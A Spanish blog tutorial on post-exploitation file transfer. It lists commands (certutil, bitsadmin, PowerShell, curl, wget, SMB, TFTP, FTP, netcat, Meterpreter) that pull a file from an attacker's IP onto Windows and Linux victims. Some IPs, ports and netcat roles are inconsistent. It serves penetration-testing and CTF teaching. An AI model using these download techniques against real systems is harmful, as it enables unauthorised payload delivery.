La transferencia de archivos se considera uno de los pasos más importantes en la Post Exploitation (Post-Explotación). Por lo tanto, hoy en este artículo vamos a poner de relieve las diversas técnicas que pueden ser utilizados por el Pentester para transferir archivos a la máquina víctima (Windows y Linux)
La siguiente guía sobre la transferencia de archivos está muy enfocada a los que realizan Red teaming y Penetration testing y también entre los que resuelven los CTF en el campo de la seguridad. Así que vamos a ver las diferentes manera para transferir el archivo en la máquina de la víctima.

En resumen, estos son los datos de ejemplo:
- Máquina atacante: Parrot OS (Linux)
- Máquina víctima: Windows (Windows) y Parrot OS (Linux)
- Archivo a transferir: Putty.exe
Cabe resaltar que los comandos ejecutados en Windows deberían ejecutarse desde la misma shell de la máquina atacante. En estos ejemplos, los comandos fueron ejecutados desde el mismo ordenador Windows de ejemplo.
Tabla de contenido
Transferencia de Archivos Windows
IWR (Invoke-Web Request)
Máquina atacante: Vamos al directorio local desde donde se va a subir el archivo a la máquina víctima. El comando Python que se ejecuta con “SimpleHTTPServer” en el puerto 80 crea e inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual en el que se abre. Este es uno de los métodos más simples para transferir archivos.
python -m SimpleHTTPServer 80Máquina víctima: Abre una nueva pestaña en la terminal en Kali. Como ya hemos explotado la máquina víctima (por ejemplo, utilizando Metasploit), vamos a utilizar Netcat para recibir la conexión entrante de la máquina atacante. Una vez hecho esto, vamos a ejecutar el comando PowerShell en la máquina víctima para descargar el archivo de la máquina atacante en el directorio de salida dado. Al comprobar el directorio Temp, se puede ver que el archivo putty.exe que ha sido transferido.
nc -lvp 4444

powershell.exe -command iwr -Uri http://192.168.1.15/putty.exe -OutFile C:\Temp\putty.exe "
dir
Hay veces que se quiere hacer uso de comandos acortados. Por lo tanto, en lugar de -Outfile, haremos uso de -o para mencionar la ruta de salida como se muestra a continuación. Puedes ver que usando este comando, puedes descargar el archivo putty.exe de la máquina atacante.
powershell.exe iwr -uri 192.168.1.15/putty.exe -o C:\Temp\putty.exeHay otro método para utilizar el mismo comando de la manera más corta posible. Así que aquí tienes que ejecutar PowerShell en la máquina víctima e introducir el comando como se muestra en la imagen siguiente.
powershell
iwr -uri 192.168.1.15/putty.exe -o C:\Temp\putty.exe
dirCertutil
El propósito de certutil era originalmente para la gestión de certificados y CA, pero también puede ser utilizado para la transferencia de archivos.
Máquina atacante: Podemos utilizar el mismo servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.
Máquina víctima: Hacer uso del siguiente comando para descargar el archivo desde la máquina atacante. Para el comando, ha mencionado la dirección IP/archivo y luego el nombre del archivo de salida. El -f en el comando generalmente fuerza la sobreescritura.
certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe
El mismo comando puede usarse con un -split adicional que divide a los elementos ASN.1 incrustados y luego los guarda en archivos.
certutil -urlcache -split -f http://192.168.1.2/putty.exe putty.exeBitsadmin
Máquina de la víctima: El parámetro /transfer en bitsadmin es una de las formas más sencillas de descargar el archivo de la máquina atacante. Al principio, necesitamos definir el nombre de visualización de la transferencia. Aquí lo nombramos como job.
Después de definir el nombre, ahora coloca la ruta del archivo a descargar, es decir, putty.exe en la máquina atacante. Al final, introduce el nombre del archivo a descargar y la ruta de salida que hemos llamado putty.exe

bitsadmin /transfer job https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\Temp\putty.exe
Curl
Curl es una herramienta de línea de comandos de Linux que se utiliza para compartir datos de un servidor a otro y que ahora también está disponible en el CMD de Windows.
Máquina atacante: Podemos utilizar el mismo servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.
Máquina víctima: En la máquina víctima, ejecuta el siguiente comando para descargar el archivo desde la máquina atacante.
curl http://192.168.1.15/putty.exe -o putty.exe
dir
Wget
Su trabajo es recuperar el contenido de los servidores web disponibles. Ahora descargaremos un archivo desde la máquina atacante usando PowerShell en la máquina víctima.
Máquina atacante: Ejecuta el servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.
Máquina víctima: Abre Powershell en la máquina Windows y ejecuta el siguiente comando. Menciona la ruta desde la que se descargará el archivo y, a continuación, indique la ruta de salida para guardar el archivo putty.exe.
powershell
wget http://192.168.1.15/putty.exe -OutFile putty.exe
dir
Puede utilizar el mismo comando de forma diferente haciendo uso de PowerShell en el propio comando.
powershell.exe wget http://192.168.1.15/putty.exe -OutFile putty.exePowershell
En PowerShell tienes un comando para acceder a la shell en Windows que se puede utilizar para descargar cualquier archivo de servidor web. Ejecuta el siguiente comando en el Powershell de la máquina víctima como administrador.
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.15/putty.exe', 'putty.exe')
SMB Server
SMB es un protocolo destinado a la comunicación para proporcionar acceso compartido a los archivos, puertos, etc. en una red. Veamos cómo podemos utilizarlo para transferir archivos desde la máquina atacante a la máquina víctima.
Máquina atacante: En el atacante, la máquina va al directorio desde el que se va a transferir el archivo. Entonces vamos a hacer uso de Impacket-smbserver para compartir este archivo desde la máquina local. La importancia del share aquí es que convierte la larga ruta del archivo en un único directorio compartido. El mismo comando impacket puede ser ejecutado de dos maneras. Veremos cada una de ellas, una tras otra.
En el comando de abajo compartimos el archivo del directorio, pero en lugar de mencionar la ruta completa, escribimos pwd que significa el directorio de trabajo actual.
impacket-smbserver share $(pwd) -smb2support

A la hora de utilizar el comando de forma diferente, la única variación es que mencionamos el directorio actual en el comando como se muestra a continuación:
impacket-smbserver share /root/Descargas/test -smb2supportMáquina víctima
En la máquina víctima, para descargar el archivo de la máquina atacante se utiliza el comando copy.
copy \\192.168.1.15\share\putty.exe
dirTambién puedes hacer uso del comando net use para conectarte a la carpeta compartida. A continuación, utiliza el comando copy para descargar el archivo de la máquina atacante.
net use \\192.168.1.15\share
net use
copy \\192.168.1.15\share\putty.exe
dirEl comando para la máquina atacante, seria el siguiente:
python3 smbserver.py share /root/test -smb2supportTFTP
El servicio TFTP se utiliza para leer y escribir los archivos de la conexión remota, que funciona en el puerto 69 estableciendo una conexión UDP.
Máquina atacante: En la máquina atacante, vamos a crear un directorio y alojar el archivo putty.exe
Ahora, abramos Metasploit y utilicemos el módulo TFTP existente para compartir archivos. Aquí es necesario introducir la dirección IP de la máquina atacante y también la ruta del directorio para descargar el archivo y explotar.

Máquina víctima: En la máquina víctima, para descargar el archivo desde la máquina atacante se hace uso del comando TFTP. Ahora puedes ver el putty.exe en el sistema víctima.
tftp -i 192.168.1.15 GET putty.exe
FTP
FTP significa File Transfer Protocol (Protocolo de Transferencia de Archivos) cuyo trabajo es compartir archivos a través de los sistemas. Usando FTP puedes descargar el archivo en el sistema de Windows de la víctima poniendo el nombre de usuario y la contraseña correctos como se muestra a continuación. Puedes utilizar el comando get si hay más de un archivos presente requerido.
ftp 192.168.1.15
get file.txt
dirTransferencia de archivos Linux
HTTP
Ha sido uno de los métodos más favorables para la transferencia de archivos. Veamos las diversas formas en que podemos utilizar HTTP para transferir archivos.
Servidor web PHP
Máquina atacante: El comando PHP se utiliza para iniciar el escuchador/listener HTTP para compartir archivos, yendo al directorio donde está el archivo y ejecutándolo.
php -S 0.0.0.0:8080

Máquina de la víctima: En el navegador web de la máquina víctima hay que escribir la dirección IP del atacante con su número de puerto y el nombre del archivo para descargarlo de la máquina atacante.
192.168.1.15:8080/putty.exe
Apache
Máquina atacante: El servicio Apache debe ser activado en tu máquina antes de transferir el archivo a través de los directorios web y luego mover cualquier archivo en el directorio HTML para compartirlo. Luego reinicia el servicio apache.
cp putty.exe /var/www/html
service apache2 restart
Máquina de la víctima: En el navegador web de la máquina víctima hay que mencionar la dirección IP del atacante y el nombre del archivo para descargarlo desde la máquina atacante.
192.168.1.15/putty.exe
Simple HTTP server
Máquina atacante: Vamos al directorio local desde donde se va a subir el archivo a la máquina víctima. El comando Python que se ejecuta con SimpleHTTPServer en el puerto 8000 crea e inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual en el que se abre. Este es uno de los métodos más simples para transferir archivos.
python -m SimpleHTTPServerSi tienes la versión Python3 también puedes usar el comando como se muestra en la imagen de abajo.
python3 -m http.server 8000
Máquina víctima: En el navegador web de la máquina víctima hay que mencionar la dirección IP del atacante y el número de puerto para listar el contenido del directorio para descargar el archivo de la máquina atacante.
192.168.1.15:8080
Curl
Es una herramienta de línea de comandos que se utiliza para transferir datos. También se utiliza para descargar los datos de la máquina del atacante.
Máquina víctima: Ahora ejecuta el siguiente comando para descargar el archivo en la máquina víctima.
curl -O http://192.168.1.15/putty.exe
Wget
También es una herramienta de línea de comandos de Linux que se utiliza para descargar el archivo desde la máquina del atacante.
Máquina víctima: Ahora ejecuta el siguiente comando para descargar el archivo en la máquina víctima.
wget 192.168.1.15/putty.exe
Netcat
Netcat es conocido como la navaja suiza que se utiliza para múltiples propósitos por lo que vamos a utilizarlo en la transferencia de archivos.
Máquina atacante: Utiliza el siguiente comando para descargar el archivo de la máquina atacante
nc -lvp 5555 > archivo.txtMáquina víctima: Ahora en la máquina víctima ejecute el siguiente comando para descargar el archivo.
nc 192.168.1.15 5555 < archivo.txtAhora puedes descargar el archivo para leer tu contenido.
SCP
SCP es el acrónimo de Secure Copy Protocol (protocolo de copia segura) que sirve para transferir archivos de forma segura entre el host local y un host remoto. Se basa en el protocolo SSH.
Máquina atacante: Crea un nuevo archivo miarchivo.txt y luego transfiere este archivo a una máquina remota con la ayuda del siguiente comando.
scp file.txt kali@192.168.1.15:/tmpMáquina víctima: En la máquina víctima, ve al directorio /temp y utiliza el comando cat para leer el contenido del archivo.
SMB-Client
Máquina atacante: El servicio smbclient puede ser utilizado para acceder a la carpeta compartida del servidor smb. Vamos a ejecutar el comando que se indica a continuación para acceder a la carpeta compartida del servidor.
smbclient -L 192.168.1.15 -U esgeeks
smbclient //192.168.1.15/share -U password
Máquina víctima: A continuación, vamos a comprobar el archivo en el directorio compartido. Podemos descargarlo usando el comando get y leer su contenido usando el comando cat.
Meterpreter
Máquina del atacante: Al comprometer la máquina de la víctima, utilizando meterpreter podemos ejecutar el siguiente comando para descargar el archivo de la máquina del atacante.
meterpreter > download putty.exe /home/esgeeks
FTP
Máquina atacante: Ahora vamos a instalar la biblioteca python-FTP usando el comando pip. Luego usa el comando python3 para compartir el archivo usando FTP. Establece un nombre de usuario y una contraseña para ello.
pip install pyftpdlib
python3 -m pyftpdlib -p 21 -u esgeeks -P root
Máquina víctima: En la máquina víctima utiliza el comando FTP con la dirección IP de la máquina del atacante, introduce el nombre de usuario y la contraseña. Utilizando el comando get, puedes descargar el archivo en la máquina víctima.
ftp 192.168.1.5
También puedes descargar el archivo en la máquina víctima desde el navegador, introduciendo el nombre de usuario y la contraseña.
Aquí puedes ver el directorio listado y el archivo está listo para descargar.
ftp://192.168.1.5
Conclusión
En esta publicación hemos examinado algunos métodos que puedes utilizar para transferir archivos hacia y desde una máquina objetivo utilizando algunas de las técnicas de post explotación publicadas en este blog.
El contenido está inspirado en la publicación original de Jeenali Kothari, una entusiasta de la ciencia forense digital que disfruta escribiendo contenido técnico.


